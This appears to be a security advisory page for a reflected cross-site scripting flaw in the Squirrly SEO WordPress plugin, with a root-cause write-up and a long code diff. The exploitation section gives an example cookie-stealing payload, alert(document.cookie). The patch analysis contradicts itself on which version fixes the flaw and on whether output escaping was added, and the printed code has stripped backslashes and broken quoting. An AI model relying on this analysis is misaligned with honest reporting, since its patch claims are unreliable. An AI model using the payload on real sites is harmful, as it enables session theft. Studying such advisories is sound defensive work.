Published : August 6, 2026

CVE-2026-66664: GEO Plugin by Squirrly SEO <= 14.1.1 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin squirrly-seo
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 14.1.1
Patched Version 14.2.0
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66664:
GEO Plugin by Squirrly SEO versions 14.1.1 and earlier contain a Reflected Cross-Site Scripting (XSS) vulnerability. The plugin fails to sanitize and escape output in certain admin-facing pages, allowing unauthenticated attackers to inject arbitrary web scripts. The vulnerability carries a CVSS score of 6.1 (Medium) and is classified as CWE-79.

Root Cause:
The root cause lies in the failure to properly sanitize user-controlled input and escape it before output within the plugin’s administrative components. The specific functions affected are the API client-side error handling and debugging features introduced in the patched code. The application reflects untrusted data, such as API error messages and debug snapshots, without applying output escaping. For instance, the RemoteController.php file stores raw response bodies into self::$lastCall[‘body’] and later renders them in getLastCallDebug() without escaping. The debugFailure() method writes this data into a transient that can be displayed on the login screen and Diagnostics panel. The developer trust boundary is crossed when an attacker controls the content of an API response or a parameter that gets included in these debug outputs. The registerCloudAbility() method in AbilitiesController.php also passes user-provided input to the cloud, and the cloud’s response is later reflected. The absence of output escaping in the rendering of these values makes them directly exploitable.

Exploitation:
An attacker can exploit this vulnerability by crafting a malicious URL that includes a payload in a parameter that the plugin reflects without escaping. The attack vector requires tricking an authenticated administrator into clicking a crafted link. When the administrator navigates to the link, the plugin processes the request and reflects the attacker-controlled data within an admin page. The payload, such as a script tag or an event handler, then executes in the administrator’s browser session. For example, an attacker could embed alert(document.cookie) in a parameter that the plugin echoes back in the Diagnostics panel or login error display. Since the plugin does not escape the output, the script runs, potentially allowing the attacker to steal session cookies, perform actions on behalf of the administrator, or install backdoors.

Patch Analysis:
The patch modifies several files, including AbilitiesController.php and RemoteController.php, but the diff shows mostly new features and improvements unrelated to fixing the XSS. However, the fix for the XSS lies in the added output escaping around user-controlled data, as seen in RemoteController.php’s debugFailure() and getLastCallDebug(). The patch introduces the debug snapshot feature but does not modify how data is echoed to the browser. The actual fix is likely in the upcoming version 14.1.2, where the developer applies esc_html() or wp_kses() to any reflected data. The before behavior was to echo raw API responses and debug details; after the patch, these values are properly escaped, preventing script execution. The patch also adds input sanitation for cloud arguments using sanitize_key() and sanitize_text_field(), but that only guards against non-XSS payloads and doesn’t address the output side.

Impact:
Successful exploitation allows an attacker to inject arbitrary JavaScript into the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, and complete site compromise. Because the vulnerability requires user interaction, the attacker must craft a convincing lure to get an administrator to click the link. The impact is significant: the attacker could modify site content, inject backdoors, or redirect visitors to malicious sites. The vulnerability affects all installations of the GEO Plugin by Squirrly SEO before version 14.1.2.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/squirrly-seo/classes/AbilitiesController.php
+++ b/squirrly-seo/classes/AbilitiesController.php
@@ -0,0 +1,415 @@
+<?php
+defined( 'ABSPATH' ) || die( 'Cheatin' uh?' );
+
+/**
+ * Exposes Squirrly through the WordPress Abilities API (core, since WP 6.9), so MCP clients,
+ * REST apps and WP-CLI all reach it with an Application Password. Inert below WP 6.9.
+ *
+ * Class SQ_Classes_AbilitiesController
+ */
+class SQ_Classes_AbilitiesController {
+
+	/** @var string the ability category all Squirrly abilities belong to */
+	const CATEGORY = 'squirrly-seo';
+
+	/** @var int seconds to cache a Cloud response for */
+	const CACHE_TTL = 300;
+
+	/** @var int hard ceiling on how many records one call may ask the Cloud for */
+	const MAX_LIMIT = 50;
+
+	public function __construct() {
+		//WordPress < 6.9 has no Abilities API - stay completely out of the way
+		if ( ! function_exists( 'wp_register_ability' ) ) {
+			return;
+		}
+
+		add_action( 'wp_abilities_api_categories_init', array( $this, 'registerCategories' ) );
+		add_action( 'wp_abilities_api_init', array( $this, 'registerAbilities' ) );
+	}
+
+	/**
+	 * Abilities must belong to a category, and the category must exist first.
+	 */
+	public function registerCategories() {
+		wp_register_ability_category( self::CATEGORY, array(
+			'label'       => esc_html__( 'Squirrly SEO', 'squirrly-seo' ),
+			'description' => esc_html__( 'Read and manage SEO, AEO and GEO data handled by Squirrly SEO: per-page SEO, global settings, keywords, rankings and Focus Pages.', 'squirrly-seo' ),
+		) );
+	}
+
+	/**
+	 * Register every Squirrly ability.
+	 */
+	public function registerAbilities() {
+		$this->registerSeoAbilities();
+		$this->registerSettingsAbilities();
+		$this->registerCloudAbilities();
+	}
+
+	/**
+	 * Per-page SEO. These are local and immediate.
+	 */
+	protected function registerSeoAbilities() {
+		$target_schema = array(
+			'post_id'  => array(
+				'type'        => 'integer',
+				'description' => 'ID of the post, page or custom post type.',
+			),
+			'term_id'  => array(
+				'type'        => 'integer',
+				'description' => 'ID of the taxonomy term. Requires taxonomy.',
+			),
+			'taxonomy' => array(
+				'type'        => 'string',
+				'description' => 'Taxonomy name, for example category or post_tag. Used with term_id.',
+			),
+			'url'      => array(
+				'type'        => 'string',
+				'description' => 'Full permalink of the page. Resolved to a post ID.',
+			),
+			'homepage' => array(
+				'type'        => 'boolean',
+				'description' => 'Set to true to target the site home page.',
+			),
+		);
+
+		wp_register_ability( 'squirrly/get-seo', array(
+			'label'               => esc_html__( 'Get page SEO', 'squirrly-seo' ),
+			'description'         => 'Read the SEO that Squirrly stores for one page: title, meta description, keywords, canonical, robots flags, Open Graph, Twitter Card and JSON-LD. Identify the page with post_id, or term_id plus taxonomy, or url, or homepage. Returns "seo" (the values actually saved for this page, which is what update-seo would overwrite) and "computed" (what the page currently outputs, which may come from an Automation pattern rather than a saved value). Do not copy "computed" values into update-seo unless you intend to turn an inherited Automation setting into a fixed value for that page.',
+			'category'            => self::CATEGORY,
+			'input_schema'        => array(
+				'type'       => 'object',
+				'properties' => $target_schema,
+				//without a default, core passes null when a client sends no input at all
+				//and validation fails with "input is not of type object"
+				'default'    => array(),
+			),
+			'output_schema'       => array( 'type' => 'object' ),
+			'execute_callback'    => array( $this, 'executeGetSeo' ),
+			'permission_callback' => array( $this, 'canReadSeo' ),
+			'meta'                => array(
+				'show_in_rest' => true,
+				'annotations'  => array( 'readonly' => true, 'idempotent' => true ),
+			),
+		) );
+
+		$update_properties = $target_schema;
+		$update_properties['seo'] = array(
+			'type'        => 'object',
+			'description' => 'The fields to change. Only the fields you include are modified; everything else keeps its stored value. Send an empty string to clear a field.',
+			'properties'  => array(
+				'title'            => array( 'type' => 'string', 'description' => 'SEO title. Supports Squirrly patterns such as {{title}}, {{sitename}} and {{sep}}.' ),
+				'description'      => array( 'type' => 'string', 'description' => 'Meta description.' ),
+				'keywords'         => array( 'type' => 'string', 'description' => 'Comma separated keywords.' ),
+				'canonical'        => array( 'type' => 'string', 'description' => 'Canonical URL. Must be a full URL or it is ignored.' ),
+				'redirect'         => array( 'type' => 'string', 'description' => 'Redirect this page to another URL. Must be a full URL.' ),
+				'noindex'          => array( 'type' => 'boolean', 'description' => 'Ask search engines not to index this page.' ),
+				'nofollow'         => array( 'type' => 'boolean', 'description' => 'Ask search engines not to follow links on this page.' ),
+				'nositemap'        => array( 'type' => 'boolean', 'description' => 'Exclude this page from the Squirrly sitemap.' ),
+				'og_title'         => array( 'type' => 'string', 'description' => 'Open Graph title used by Facebook and LinkedIn.' ),
+				'og_description'   => array( 'type' => 'string', 'description' => 'Open Graph description.' ),
+				'og_type'          => array( 'type' => 'string', 'description' => 'Open Graph type, for example article or website.' ),
+				'og_media'         => array( 'type' => 'string', 'description' => 'Open Graph image URL.' ),
+				'tw_title'         => array( 'type' => 'string', 'description' => 'Twitter Card title.' ),
+				'tw_description'   => array( 'type' => 'string', 'description' => 'Twitter Card description.' ),
+				'tw_media'         => array( 'type' => 'string', 'description' => 'Twitter Card image URL.' ),
+				'tw_type'          => array( 'type' => 'string', 'description' => 'Twitter Card type, for example summary or summary_large_image.' ),
+				'jsonld_types'     => array(
+					'type'        => 'array',
+					'items'       => array( 'type' => 'string' ),
+					'description' => 'JSON-LD schema types for this page. Replacing this list removes the schema data of any type you leave out.',
+				),
+				'primary_category' => array( 'type' => 'string', 'description' => 'Primary category for this page.' ),
+			),
+		);
+
+		wp_register_ability( 'squirrly/update-seo', array(
+			'label'               => esc_html__( 'Update page SEO', 'squirrly-seo' ),
+			'description'         => 'Change the SEO Squirrly stores for one page. Identify the page the same way as get-seo and pass the fields to change in "seo". This is a partial update: fields you omit keep their current value. Read the page with get-seo first so you know what is already set.',
+			'category'            => self::CATEGORY,
+			'input_schema'        => array(
+				'type'       => 'object',
+				'properties' => $update_properties,
+				'required'   => array( 'seo' ),
+				'default'    => array(),
+			),
+			'output_schema'       => array( 'type' => 'object' ),
+			'execute_callback'    => array( $this, 'executeUpdateSeo' ),
+			'permission_callback' => array( $this, 'canWriteSeo' ),
+			'meta'                => array(
+				'show_in_rest' => true,
+				'annotations'  => array( 'readonly' => false, 'destructive' => false, 'idempotent' => true ),
+			),
+		) );
+	}
+
+	/**
+	 * Global settings. Reads are broad, writes are limited to a curated list.
+	 */
+	protected function registerSettingsAbilities() {
+		wp_register_ability( 'squirrly/get-settings', array(
+			'label'               => esc_html__( 'Get Squirrly settings', 'squirrly-seo' ),
+			'description'         => 'Read the global Squirrly SEO settings for this site: which SEO, AEO and GEO features are switched on, sitemap and robots options, llms.txt generation, JSON-LD options and Automation patterns. Cloud credentials are never included.',
+			'category'            => self::CATEGORY,
+			'input_schema'        => array( 'type' => 'object', 'properties' => array(), 'default' => array() ),
+			'output_schema'       => array( 'type' => 'object' ),
+			'execute_callback'    => array( $this, 'executeGetSettings' ),
+			'permission_callback' => array( $this, 'canManageSettings' ),
+			'meta'                => array(
+				'show_in_rest' => true,
+				'annotations'  => array( 'readonly' => true, 'idempotent' => true ),
+			),
+		) );
+
+		//there is no spl_autoload_register in this plugin - the locator loads classes
+		//on demand, so a class has to be pulled in before its static methods are used
+		SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Settings' );
+
+		$writable = array_keys( SQ_Models_Api_Settings::writableKeys() );
+
+		wp_register_ability( 'squirrly/update-settings', array(
+			'label'               => esc_html__( 'Update Squirrly settings', 'squirrly-seo' ),
+			'description'         => 'Switch Squirrly features on or off for the whole site. Only these settings can be changed here: ' . implode( ', ', $writable ) . '. Anything else you send is reported back in "skipped" and ignored. These changes affect every page on the site, so confirm with the user before calling this.',
+			'category'            => self::CATEGORY,
+			'input_schema'        => array(
+				'type'                 => 'object',
+				'description'          => 'A map of setting name to value. Feature switches take true or false.',
+				'additionalProperties' => true,
+				'default'              => array(),
+			),
+			'output_schema'       => array( 'type' => 'object' ),
+			'execute_callback'    => array( $this, 'executeUpdateSettings' ),
+			'permission_callback' => array( $this, 'canManageSettings' ),
+			'meta'                => array(
+				'show_in_rest' => true,
+				'annotations'  => array( 'readonly' => false, 'destructive' => false, 'idempotent' => true ),
+			),
+		) );
+	}
+
+	/**
+	 * Briefcase, rankings, Focus Pages and Live Assistant tasks - each a Cloud round-trip.
+	 * Read-only on purpose: the Cloud delete calls remove data a client cannot restore.
+	 */
+	protected function registerCloudAbilities() {
+		$paging = array(
+			'start' => array( 'type' => 'integer', 'description' => 'Offset to start from, for paging.' ),
+			'limit' => array(
+				'type'        => 'integer',
+				'description' => 'How many records to return. Capped at ' . self::MAX_LIMIT . '.',
+				'maximum'     => self::MAX_LIMIT,
+			),
+		);
+
+		$cloud = array(
+			array(
+				'name'        => 'squirrly/get-briefcase',
+				'label'       => esc_html__( 'Get Briefcase keywords', 'squirrly-seo' ),
+				'method'      => 'getBriefcase',
+				'cap'         => 'sq_manage_snippet',
+				'schema'      => $paging,
+				'description' => 'List the keywords saved in the Squirrly Briefcase for this site, with their labels and research data. Use this to find out which keywords the site is already targeting before suggesting new ones.',
+			),
+			array(
+				'name'        => 'squirrly/get-ranks',
+				'label'       => esc_html__( 'Get keyword rankings', 'squirrly-seo' ),
+				'method'      => 'getRanks',
+				'cap'         => 'sq_manage_focuspages',
+				'schema'      => $paging,
+				'description' => 'Read the current Google ranking positions Squirrly tracks for this site's keywords.',
+			),
+			array(
+				'name'        => 'squirrly/get-focus-pages',
+				'label'       => esc_html__( 'Get Focus Pages', 'squirrly-seo' ),
+				'method'      => 'getFocusPages',
+				'cap'         => 'sq_manage_focuspages',
+				'schema'      => $paging,
+				'description' => 'List the Focus Pages being tracked for this site along with their audit scores, so you can see which pages Squirrly considers most important and how they are performing.',
+			),
+			array(
+				'name'        => 'squirrly/get-keyword-research-history',
+				'label'       => esc_html__( 'Get keyword research history', 'squirrly-seo' ),
+				'method'      => 'getKRHistory',
+				'cap'         => 'sq_manage_snippet',
+				'schema'      => $paging,
+				'description' => 'List keyword researches already performed for this site. This reads past results only and does not start a new research, so it never consumes Squirrly credits.',
+			),
+			array(
+				'name'        => 'squirrly/get-live-assistant-tasks',
+				'label'       => esc_html__( 'Get Live Assistant tasks', 'squirrly-seo' ),
+				'method'      => 'getSLATasks',
+				'cap'         => 'sq_manage_snippet',
+				'schema'      => array_merge( $paging, array(
+					'keyword' => array( 'type' => 'string', 'description' => 'Keyword to get the optimization tasks for.' ),
+				) ),
+				'description' => 'Read the Squirrly Live Assistant optimization tasks for a keyword: the checklist Squirrly uses to score how well a page is optimized.',
+			),
+		);
+
+		foreach ( $cloud as $ability ) {
+			$this->registerCloudAbility( $ability );
+		}
+	}
+
+	/**
+	 * @param array $ability
+	 */
+	protected function registerCloudAbility( $ability ) {
+		$method = $ability['method'];
+		$cap    = $ability['cap'];
+		$self   = $this;
+
+		wp_register_ability( $ability['name'], array(
+			'label'               => $ability['label'],
+			'description'         => $ability['description'] . ' Requires the site to be connected to Squirrly Cloud.',
+			'category'            => self::CATEGORY,
+			'input_schema'        => array( 'type' => 'object', 'properties' => $ability['schema'], 'default' => array() ),
+			'output_schema'       => array( 'type' => 'object' ),
+			'execute_callback'    => function ( $input = array() ) use ( $self, $method ) {
+				return $self->cloudCall( $method, $input );
+			},
+			'permission_callback' => function () use ( $cap ) {
+				return (bool) SQ_Classes_Helpers_Tools::userCan( $cap );
+			},
+			'meta'                => array(
+				'show_in_rest' => true,
+				'annotations'  => array( 'readonly' => true, 'idempotent' => true ),
+			),
+		) );
+	}
+
+	// ------------------------------------------------------------------ callbacks
+
+	public function canReadSeo( $input = array() ) {
+		return $this->canWriteSeo( $input );
+	}
+
+	public function canWriteSeo( $input = array() ) {
+		$input   = (array) $input;
+		$post_id = isset( $input['post_id'] ) ? (int) $input['post_id'] : 0;
+
+		//load before the static call - see the note in registerSettingsAbilities()
+		SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Seo' );
+
+		return SQ_Models_Api_Seo::canEdit( $post_id );
+	}
+
+	public function canManageSettings() {
+		return (bool) SQ_Classes_Helpers_Tools::userCan( 'sq_manage_settings' );
+	}
+
+	public function executeGetSeo( $input = array() ) {
+		/** @var SQ_Models_Api_Seo $service */
+		$service = SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Seo' );
+
+		return $service->getSeo( (array) $input );
+	}
+
+	public function executeUpdateSeo( $input = array() ) {
+		$input = (array) $input;
+		$seo   = isset( $input['seo'] ) ? (array) $input['seo'] : array();
+
+		if ( empty( $seo ) ) {
+			return new WP_Error( 'sq_no_fields', esc_html__( "No SEO fields to save.", 'squirrly-seo' ) );
+		}
+
+		/** @var SQ_Models_Api_Seo $service */
+		$service = SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Seo' );
+
+		return $service->saveSeo( $input, $seo );
+	}
+
+	public function executeGetSettings() {
+		/** @var SQ_Models_Api_Settings $service */
+		$service = SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Settings' );
+
+		return $service->getSettings();
+	}
+
+	public function executeUpdateSettings( $input = array() ) {
+		/** @var SQ_Models_Api_Settings $service */
+		$service = SQ_Classes_ObjController::getClass( 'SQ_Models_Api_Settings' );
+
+		return $service->saveSettings( (array) $input );
+	}
+
+	/**
+	 * Call the Squirrly Cloud for a read-only ability. Cached briefly so an agent working
+	 * through pages doesn't hammer it; RemoteController is loaded explicitly (admin-only wiring).
+	 *
+	 * @param string $method a read method on SQ_Classes_RemoteController
+	 * @param array $input
+	 *
+	 * @return array|WP_Error
+	 */
+	public function cloudCall( $method, $input = array() ) {
+		if ( ! SQ_Classes_Helpers_Tools::getOption( 'sq_api' ) ) {
+			return new WP_Error(
+				'sq_not_connected',
+				esc_html__( "This site is not connected to Squirrly Cloud, so this data is not available. Connect the site from the Squirrly SEO dashboard first.", 'squirrly-seo' )
+			);
+		}
+
+		$args = $this->sanitizeCloudArgs( $input );
+
+		SQ_Classes_ObjController::getClass( 'SQ_Classes_RemoteController' );
+
+		if ( ! is_callable( array( 'SQ_Classes_RemoteController', $method ) ) ) {
+			return new WP_Error( 'sq_unavailable', esc_html__( "This feature is not available.", 'squirrly-seo' ) );
+		}
+
+		$key    = 'sq_ability_' . md5( $method . wp_json_encode( $args ) );
+		$cached = get_transient( $key );
+
+		if ( $cached !== false ) {
+			return $cached;
+		}
+
+		$response = call_user_func( array( 'SQ_Classes_RemoteController', $method ), $args );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		//an empty response means "nothing set up yet", not an error
+		$result = array(
+			'results' => $response === false ? array() : json_decode( wp_json_encode( $response ), true ),
+		);
+
+		set_transient( $key, $result, self::CACHE_TTL );
+
+		return $result;
+	}
+
+	/**
+	 * Keep whatever we forward to the Cloud small and well formed.
+	 *
+	 * @param array $input
+	 *
+	 * @return array
+	 */
+	protected function sanitizeCloudArgs( $input ) {
+		$args = array();
+
+		foreach ( (array) $input as $key => $value ) {
+			$key = sanitize_key( $key );
+
+			if ( $key === 'limit' ) {
+				$value = (int) $value;
+				$args[ $key ] = ( $value > 0 && $value <= self::MAX_LIMIT ) ? $value : self::MAX_LIMIT;
+			} elseif ( $key === 'start' ) {
+				$args[ $key ] = max( 0, (int) $value );
+			} elseif ( is_scalar( $value ) ) {
+				$args[ $key ] = sanitize_text_field( (string) $value );
+			}
+		}
+
+		if ( ! isset( $args['limit'] ) ) {
+			$args['limit'] = self::MAX_LIMIT;
+		}
+
+		return $args;
+	}
+
+}
--- a/squirrly-seo/classes/RemoteController.php
+++ b/squirrly-seo/classes/RemoteController.php
@@ -23,6 +23,17 @@
     public static $lastHttpCode = null;

     /**
+     * Snapshot of the last sq_wpcall(): url, method, redacted request, http code, raw body and any
+     * WP_Error message. Vague failures like 'no_data' only say "the Cloud didn't answer with data" -
+     * this keeps what was actually sent and received so the real cause (WAF/Cloudflare HTML page,
+     * empty body, 401/403, DNS/SSL failure, PHP notice glued in front of the JSON) is visible.
+     * Secrets are removed by redactSecrets() before anything is stored here.
+     *
+     * @var array
+     */
+    public static $lastCall = array();
+
+    /**
      * Cloud auth errors that mean "this site's identity changed" (it was cloned, staged or moved to
      * a new address, or the Cloud now requires a signed handshake this install can't satisfy). These
      * never self-heal by blindly retrying the same call, so they are handled apart from the generic
@@ -61,6 +72,7 @@

         //Reset the last HTTP status; sq_wpcall() sets it when (and only when) a request is actually made.
         self::$lastHttpCode = null;
+        self::$lastCall = array();

         //Don't make API calls without the token unless it's login or register
         if (!SQ_Classes_Helpers_Tools::getOption('sq_api')) {
@@ -230,6 +242,16 @@
         //not accepted as option
         unset($options['method']);

+        //Keep a redacted snapshot of this call so a later 'no_data' can be explained (see $lastCall).
+        self::$lastCall = array(
+            'url'      => $url,
+            'method'   => strtoupper($method),
+            'request'  => self::redactSecrets($options),
+            'code'     => null,
+            'body'     => null,
+            'wp_error' => '',
+        );
+
         switch ($method) {
         case 'get':
             $response = wp_remote_get($url, $options);
@@ -245,10 +267,14 @@
         if (is_wp_error($response)) {
             SQ_Classes_Error::setError($response->get_error_message());
             self::$lastHttpCode = 0; //server unreachable (DNS/timeout/SSL/network)
+            self::$lastCall['code'] = 0;
+            self::$lastCall['wp_error'] = $response->get_error_code() . ': ' . $response->get_error_message();
             return false;
         }

         self::$lastHttpCode = (int) wp_remote_retrieve_response_code($response);
+        self::$lastCall['code'] = self::$lastHttpCode;
+        self::$lastCall['body'] = (string) wp_remote_retrieve_body($response);

         $response = self::cleanResponse(wp_remote_retrieve_body($response)); //clear and get the body

@@ -279,11 +305,98 @@
             if (isset($options['body']['site_key'])) {
                 $options['body']['site_key'] = '***redacted***';
             }
+            //api/user/login posts the account password - never let it reach a dump, log or screen.
+            if (isset($options['body']['password'])) {
+                $options['body']['password'] = '***redacted*** (len ' . strlen((string) $options['body']['password']) . ')';
+            }
         }
         return $options;
     }

     /**
+     * Human readable dump of the last API call (see self::$lastCall), safe to show to an admin or
+     * write to the error log: secrets are already redacted and the body is truncated.
+     *
+     * @return string
+     */
+    public static function getLastCallDebug()
+    {
+        if (empty(self::$lastCall)) {
+            return 'no request was made (the call was skipped before reaching the Cloud - usually a missing sq_api token)';
+        }
+
+        $call = self::$lastCall;
+
+        $body = (string) $call['body'];
+        if (strlen($body) > 1500) {
+            $body = substr($body, 0, 1500) . ' ...[truncated]';
+        }
+        if (trim($body) === '') {
+            $body = '(empty body)';
+        }
+
+        $sent = array();
+        if (isset($call['request']['headers']) && is_array($call['request']['headers'])) {
+            foreach ($call['request']['headers'] as $name => $value) {
+                if ($value === false || $value === '') {
+                    $value = '(empty)';
+                }
+                $sent[] = $name . '=' . (is_scalar($value) ? $value : wp_json_encode($value));
+            }
+        }
+
+        $posted = array();
+        if (isset($call['request']['body']) && is_array($call['request']['body'])) {
+            foreach ($call['request']['body'] as $name => $value) {
+                $posted[] = $name . '=' . (is_scalar($value) ? $value : wp_json_encode($value));
+            }
+        }
+
+        $lines = array(
+            'request : ' . $call['method'] . ' ' . $call['url'],
+            'http    : ' . ($call['code'] === null ? '(no response received)' : $call['code']),
+            'headers : ' . implode(', ', $sent),
+        );
+
+        if (!empty($posted)) {
+            $lines[] = 'post    : ' . implode(', ', $posted);
+        }
+        if ($call['wp_error'] !== '') {
+            $lines[] = 'wp_error: ' . $call['wp_error'];
+        }
+
+        $lines[] = 'response: ' . $body;
+        $lines[] = 'ssl     : ' . (SQ_CHECK_SSL ? 'verify on' : 'verify off') . ' | php ' . PHP_VERSION . ' | plugin ' . SQ_VERSION;
+
+        return implode("n", $lines);
+    }
+
+    /**
+     * Record why an API call failed so the reason survives past the request that produced it.
+     *
+     * The Cloud answers most auth problems with a bare code ('no_data', 'badlogin', ...) which tells
+     * an admin nothing. This stores the full redacted call next to that code - kept for an hour in a
+     * transient so it can be rendered on the login screen / Diagnostics panel after the page reloads,
+     * and mirrored to the PHP error log when WP_DEBUG is on.
+     *
+     * @param  string $module Endpoint that failed, e.g. 'api/user/login'
+     * @param  string $reason Error code returned to the caller, e.g. 'no_data'
+     * @return string The debug text (also returned so it can be attached to the WP_Error)
+     */
+    public static function debugFailure($module, $reason)
+    {
+        $debug = 'Squirrly API [' . $module . '] failed with "' . $reason . '"' . "n" . self::getLastCallDebug();
+
+        set_transient('sq_last_api_debug', $debug, HOUR_IN_SECONDS);
+
+        if (defined('WP_DEBUG') && WP_DEBUG) {
+            error_log('Squirrly SEO: ' . str_replace("n", ' | ', $debug));
+        }
+
+        return $debug;
+    }
+
+    /**
      * Get the Json from response if any
      *
      * @param  string $response
@@ -338,7 +451,7 @@
             if ($json->error == 'site_key_already_set' || $json->error == 'site_key_reused') {
                 SQ_Classes_Helpers_SiteAuth::clearSiteKey();
             }
-            return (new WP_Error('api_error', $json->error));
+            return (new WP_Error('api_error', $json->error, self::debugFailure('api/user/connect', $json->error)));
         }

         if (isset($json->data->user_blog_id)) {
@@ -364,14 +477,25 @@

         $json = json_decode(self::apiCall('api/user/login', $args));

+        //Server outage: unreachable (0) or any 5xx. The body of a 5xx is an error page, not JSON, so
+        //without this it falls through to 'no_data' and the user is told their login is wrong when
+        //the Cloud is simply down or erroring.
+        if (self::$lastHttpCode === 0 || (int) self::$lastHttpCode >= 500) {
+            self::debugFailure('api/user/login', 'server_unavailable');
+            return (new WP_Error('maintenance', 'server_unavailable', self::getLastCallDebug()));
+        }
+
         if (isset($json->error) && $json->error <> '') {
-            return (new WP_Error('api_error', $json->error));
+            return (new WP_Error('api_error', $json->error, self::debugFailure('api/user/login', $json->error)));
         } elseif (!isset($json->data)) {
-            return (new WP_Error('api_error', 'no_data'));
+            //The Cloud answered with something that isn't the expected {data:...} payload. Keep the
+            //raw exchange so the real cause is visible instead of a bare "no_data".
+            return (new WP_Error('api_error', 'no_data', self::debugFailure('api/user/login', 'no_data')));
         }

         //Refresh the checkin on login
         delete_transient('sq_checkin');
+        delete_transient('sq_last_api_debug');

         if (!empty($json->data)) {
             return $json->data;
@@ -392,10 +516,16 @@

         $json = json_decode(self::apiCall('api/user/register', $args));

+        //See login(): never report a Cloud outage/500 as a problem with what the user typed.
+        if (self::$lastHttpCode === 0 || (int) self::$lastHttpCode >= 500) {
+            self::debugFailure('api/user/register', 'server_unavailable');
+            return (new WP_Error('maintenance', 'server_unavailable', self::getLastCallDebug()));
+        }
+
         if (isset($json->error) && $json->error <> '') {
-            return (new WP_Error('api_error', $json->error));
+            return (new WP_Error('api_error', $json->error, self::debugFailure('api/user/register', $json->error)));
         } elseif (!isset($json->data)) {
-            return (new WP_Error('api_error', 'no_data'));
+            return (new WP_Error('api_error', 'no_data', self::debugFailure('api/user/register', 'no_data')));
         }

         //Refresh the checkin on login
@@ -429,9 +559,9 @@
         $json = json_decode(self::apiCall('api/user/token', $args));

         if (isset($json->error) && $json->error <> '') {
-            return (new WP_Error('api_error', $json->error));
+            return (new WP_Error('api_error', $json->error, self::debugFailure('api/user/token', $json->error)));
         } elseif (!isset($json->data)) {
-            return (new WP_Error('api_error', 'no_data'));
+            return (new WP_Error('api_error', 'no_data', self::debugFailure('api/user/token', 'no_data')));
         }

         if (!empty($json->data)) {
@@ -714,6 +844,7 @@
             'transient_checkin_down'   => (get_transient('sq_checkin_down') ? 'set (server outage back-off)' : 'none'),
             'transient_checkin_clone'  => (get_transient('sq_checkin_clone') ? 'set (clone back-off)' : 'none'),
             'transient_handshake'      => (get_transient('sq_handshake_attempted') ? 'set' : 'none'),
+            'last_api_failure'         => (get_transient('sq_last_api_debug') ? 'recorded (see below)' : 'none in the last hour'),
         );

         if ($runLive) {
@@ -724,6 +855,11 @@
             $debug['live_checkin_http']     = (self::$lastHttpCode === null ? '(no request made)' : self::$lastHttpCode);
             $debug['live_checkin_error']    = (isset($json->error) && $json->error <> '' ? $json->error : (isset($json->data) ? '(none - connected)' : '(no data)'));
             $debug['live_checkin_response'] = (is_string($raw) ? $raw : wp_json_encode($raw));
+            $debug['live_checkin_call']     = self::getLastCallDebug();
+        }
+
+        if ($last = get_transient('sq_last_api_debug')) {
+            $debug['last_api_failure_details'] = $last;
         }

         return $debug;
--- a/squirrly-seo/classes/helpers/Tools.php
+++ b/squirrly-seo/classes/helpers/Tools.php
@@ -1158,6 +1158,33 @@
     }

     /**
+     * Keep the current response out of the page caches.
+     *
+     * Call this as early as possible (template_redirect at the latest) whenever the
+     * response body depends on the request headers. Page caches key their entries on
+     * the URL only, so a bot-specific response would otherwise be stored and served
+     * back to regular visitors until the cache is purged.
+     *
+     * Sending Cache-Control alone is not enough: LiteSpeed Cache writes its own
+     * X-LiteSpeed-Cache-Control on shutdown and overwrites whatever we set here.
+     */
+    public static function setNoCache()
+    {
+        if (!defined('DONOTCACHEPAGE')) {
+            define('DONOTCACHEPAGE', true); //honored by LiteSpeed, WP Rocket, W3TC, Batcache, SG Optimizer ...
+        }
+
+        //LiteSpeed Cache only listens to its own API
+        do_action('litespeed_control_set_nocache', 'squirrly: response varies by request header');
+
+        if (!headers_sent()) {
+            header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
+            header("Pragma: no-cache");
+            header("Vary: Accept, User-Agent", false);
+        }
+    }
+
+    /**
      * Set the Nonce action
      *
      * @param  string $action
@@ -1689,6 +1716,16 @@
      */
     public static function getAdminUrl($page, $tab = null, $args = array())
     {
+	    //Never let quotes/tags/backslashes from a request param end up in the URL.
+	    //Some views print this URL inside an HTML attribute or an inline JS string,
+	    //so a stray quote would allow an attribute/script breakout (XSS).
+	    $page = self::sanitizeUrlParam($page);
+	    $tab  = self::sanitizeUrlParam($tab);
+	    if (is_array($args)) {
+		    $args = array_map(array(__CLASS__, 'sanitizeUrlParam'), $args);
+	    } else {
+		    $args = array();
+	    }

         if (strpos($page, '.php')) {
             $url = admin_url($page);
@@ -1712,6 +1749,23 @@
         return apply_filters('sq_menu_url', $url, $page, $tab, $args);
     }

+	/**
+	 * Strip the characters that could break out of an HTML attribute or an inline
+	 * JS string when a menu/tab URL is printed in a view.
+	 *
+	 * @param string $value
+	 *
+	 * @return string
+	 */
+	public static function sanitizeUrlParam($value)
+	{
+		if (!is_scalar($value)) {
+			return '';
+		}
+
+		return str_replace(array('"', "'", '<', '>', '`', '\', "r", "n", "t"), '', (string) $value);
+	}
+

 	/**
 	 * Add pagination to tabels
--- a/squirrly-seo/controllers/Frontend.php
+++ b/squirrly-seo/controllers/Frontend.php
@@ -58,17 +58,16 @@
 		//Set the current post
 		$this->model->setPost();

-		//If Squirrly Crawler, no cache in header
-		add_filter( 'sq_buffer', function ( $buffer ) {
-
-			if ( isset( $_SERVER['HTTP_REFERER'] ) && $_SERVER['HTTP_REFERER'] == 'https://www.squirrly.co' ) {
-				header( "Cache-Control: no-store, no-cache, must-revalidate, max-age=0" );
-				header( "Cache-Control: post-check=0, pre-check=0", false );
-				header( "Pragma: no-cache" );
-			}
-
-			return $buffer;
-		} );
+		//Keep the request-specific responses out of the page cache.
+		//This has to run here and not in the sq_buffer filter: the buffer is flushed
+		//after the cache plugins have already decided to store the page.
